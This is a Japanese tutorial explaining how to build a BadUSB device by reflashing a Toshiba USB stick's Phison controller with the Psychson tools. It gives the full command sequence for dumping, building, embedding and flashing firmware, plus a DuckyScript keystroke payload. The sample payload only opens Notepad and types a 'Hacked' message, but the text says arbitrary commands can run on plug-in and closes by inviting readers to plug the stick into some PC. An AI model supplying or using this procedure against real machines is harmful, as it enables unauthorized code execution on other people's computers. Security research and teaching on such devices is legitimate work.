Psychsonを使用したBadUSBの作成方法
はじめに
「Psychson」とは
背景
- Psychsonが公開された経緯
- BadUSB攻撃が引き起こすPCセキュリティの悪夢 - NAVERまとめ
- 3行でw
- Karsten NohlさんとJakob Lellさんが BlackHat USA 2014 でBadUSBを発表
- 危険度が高いので、BadUSBは公開しないとコメント
- Adam CaudillさんとBrandon Wilsonさんが「BadUSBは公開すべき」と、同様の機能を持つPsychsonを公開
使用するUSBメモリ
2016/4/21 追記
- チップが2303から2307に変更されているようで、上記USBメモリでは動作しないようなので注意!!
「Toshiba TransMemory-MX USB 3.0 16GB」の詳細情報
開発環境の準備
- ツール/カスタムファームウェアをコンパイルするための環境を準備する。
- カスタムファームウェアにパッチを当てるために、SDCCをインストールする。
- 上記ツールのインストール手順については省略。
- 基本的には標準インストールで問題なし
- 「SDCC」については、実行ファイルへのパスを環境変数に追加すること!! (セットアップ時に追加するか確認画面がある)
Psychsonのコンパイル
- 以下URLから、ファイル一式をダウンロードする。
- ダウンロードしたZIPファイルについて、本手順では「C:\Psychson」に展開して作業を行う。
- 以下3つのツールについて、VS2012でコンパイルする。
- DriveCom
- ファームウェアの読み書き等
- EmbedPayload
- カスタムファームウェアにペイロード(後記)を追加する
- Injector
- カスタムファームウェアにパッチを当てる際に使用する
- DriveCom
バーナーイメージの入手
- USBメモリーにファームウェアを書き込む際には、バーナーイメージ(Burner Image)が必要となる。
- 以下サイトから、対応バーナーイメージを入手する。*2
- バーナーイメージのファイル名は以下のようになる。
BNxxVyyyz.BINxx - コントローラのバージョン。 - 今回使用するUSBメモリは「03」を指定。 yyyz - yyyはバージョン、zはページサイズ。 - 2KM -> 2K NAND - 4KM -> 4K NAND - M -> 8K NAND - バージョンについては動作実績のある「104」を指定。 - 今回使用するUSBメモリは「8K」のため「M」を指定
- まとめると、今回使用するバーナーイメージファイルは「BN03V104M.BIN」となる。
- 「C:\Psychson」に「BN03V104M.BIN」を保存する。
予備知識 - ブートモードへの移行
以下手順は、必要時に行う操作となります!! 後で実際のファーム書き込み等の操作で出てきますので この章は参考程度に読んでください。
正常なUSBメモリとして認識している場合 (購入直後等、なにも弄っていない状態)
- 以下コマンドを実行する
>cd C:\Psychson > >tools\DriveCom.exe /drive=D /action=SetBootMode Action specified: SetBootMode >
ファームウェアの書き込みが失敗した等、正常にUSBメモリとして認識しない(ドライブマップされてない状態)場合
- コントローラの「PIN2, PIN3」をショートさせて、USBメモリを差す!!
- プラスチックカバーは、マイナスドライバー等で適当にこじ開けること
- ニッパーでショートさせるのが簡単かも!?
- USB延長ケーブルを使用しないと、たぶんショートさせながらパソコンにUSBメモリを差すことは無理っぽい
- ショートする場合のイメージ図
- 実際にショートさせるPINの位置ではないので注意!!
- 成功すると、ブルーライトが点灯状態となり、ドライブレターが割り当てられた状態となる。
- ただし、割り当てられたドライブにはアクセス出来ないので注意。
ここからが、実際にBadUSB作成の手順となります!!
現在のファームウェアの確認
- 以下コマンドで現在の状態を確認する。
>cd C:\Psychson > >tools\DriveCom.exe /drive=D /action=GetInfo Action specified: GetInfo Gathering information... Reported chip type: 2303 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 2.08.53 Mode: Firmware >
ファームウェアのダンプ (元に戻せるようにバックアップを取得する)
>cd C:\Psychson > >tools\DriveCom.exe /drive=D /action=SetBootMode Action specified: SetBootMode >tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN Action specified: SendExecutable >tools\DriveCom.exe /drive=D /action=DumpFirmware /burner=BN03V104M.BIN /firmware=TC58TEG7T2JTA00.bin Action specified: DumpFirmware >
- ダンプしたファイル(TC58TEG7T2JTA00.bin)は大切に保存すること!!
- file size: 205,824 byte
- MD5: 4c9aa33e91c2351f7d91640867105b6c
カスタムファームウェアの作成
- 以下コマンドでカスタムファームウェアを作成する。
- コンパイル時にワーニングが出るが問題なし
>cd C:\Psychson >cd firmware > >build.bat *** Building main.c... *** Building timers.c... *** Building usb.c... *** Building control.c... control.c:7: warning 116: right shifting more than size of object changed to zero control.c:15: warning 116: right shifting more than size of object changed to zero *** Building scsi.c... scsi.c:188: warning 85: in function HandleCDB unreferenced local variable : 'i' *** Done. >
- カスタムファームウェアが「C:\Psychson\firmware\bin\fw.bin」に作成される。
- このファイルをカスタマイズして、USBメモリに書き込む
- 出来上がった「fw.bin」を「C:\Psychson」直下に保存する。
ペイロードの作成
- 今回は、USBメモリをパソコンに差した際に、任意のコマンドを実行されるタイプを作成する。
- 「Duckencoder」を使用して、USBを差した際の動作を指定する。
- 以下のようなことをUSB接続時に実行することも可能。
- DuckencoderはJavaで作成されているため、JREが必要。(適宜インストールすること)
- Javaについては、java.exeへのパスを適宜指定しておくこと。(フルパス指定でも可)
- ダウンロードしたファイルは、適宜展開する。
- 展開して出来たフォルダ「DockEncoder_X_X_X」を「C:\Psychson」配下に保存する。
- フォルダ名については「DockEncoder」に変更する。
- C:\Psychson\DockEncoder\encoder.jar が使用するファイルとなる
- 実行させたいキーストロークを「keys.txt」として同じフォルダ内に保存する。
keys.txtDELAY 3000 GUI r DELAY 500 STRING notepad DELAY 500 ENTER DELAY 750 STRING Hacked by kikuz0u!! <- 適宜変更 ENTER
- 以下コマンドを実行して、ペイロードを作成する。
>cd C:\Psychson >cd DuckEncoder > >java -jar encoder.jar -i keys.txt -o inject.bin Hak5 Duck Encoder 2.6.3 Loading File ..... [ OK ] Loading Keyboard File ..... [ OK ] Loading Language File ..... [ OK ] Loading DuckyScript ..... [ OK ] DuckyScript Complete..... [ OK ] >
- ペイロードファイルが「C:\Psychson\Duckencoder\inject.bin」に作成される。
- このファイルをカスタムファームフェアに埋め込む
- 出来上がった「inject.bin」を「C:\Psychson」直下に保存する。
- 以下コマンドを実行して、作成したペイロードをカスタムファームウェアに埋め込む。
>cd C:\Psychson > >copy fw.bin hid.bin ※カスタムファームウェアのバックアップ 1 個のファイルをコピーしました。 >tools\EmbedPayload.exe inject.bin hid.bin File updated. >
カスタムファームウェアの書き込み!!
- 作成したカスタムファームウェアを、以下コマンドを実行してUSBメモリに書き込む。
>cd C:\Psychson > >tools\DriveCom.exe /drive=D /action=SetBootMode Action specified: SetBootMode >tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN Action specified: SendExecutable >tools\DriveCom.exe /drive=D /action=SendFirmware /burner=BN03V104M.BIN /firmware=hid.bin Action specified: SendFirmware Gathering information... Reported chip type: 2302 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 1.01.10 Mode: Burner Rebooting... Sending firmware... Executing... Mode: Firmware >
- 以上で、作業終了です!!
- 作成したBadUSBを適当なパソコンに差して遊びましょう :-)
USBメモリを通常の状態に戻す
- 以下を実行してファームウェアを初期状態に戻す。
- 手動ブートモードで起動
- コントローラの「PIN2, PIN3」をショートさせて、USBメモリを差す!!
- 詳細は「予備知識 - ブートモードへの移行」を参照
>cd C:\Psychson > >tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN Action specified: SendExecutable >tools\DriveCom.exe /drive=D /action=SendFirmware /burner=BN03V104M.BIN /firmware=TC58TEG7T2JTA00.bin Action specified: SendFirmware Gathering information... Reported chip type: 2302 Reported chip ID: 98-3A-A8-92-76-57 Reported firmware version: 1.01.10 Mode: Burner Rebooting... Sending firmware... Executing... Mode: Firmware >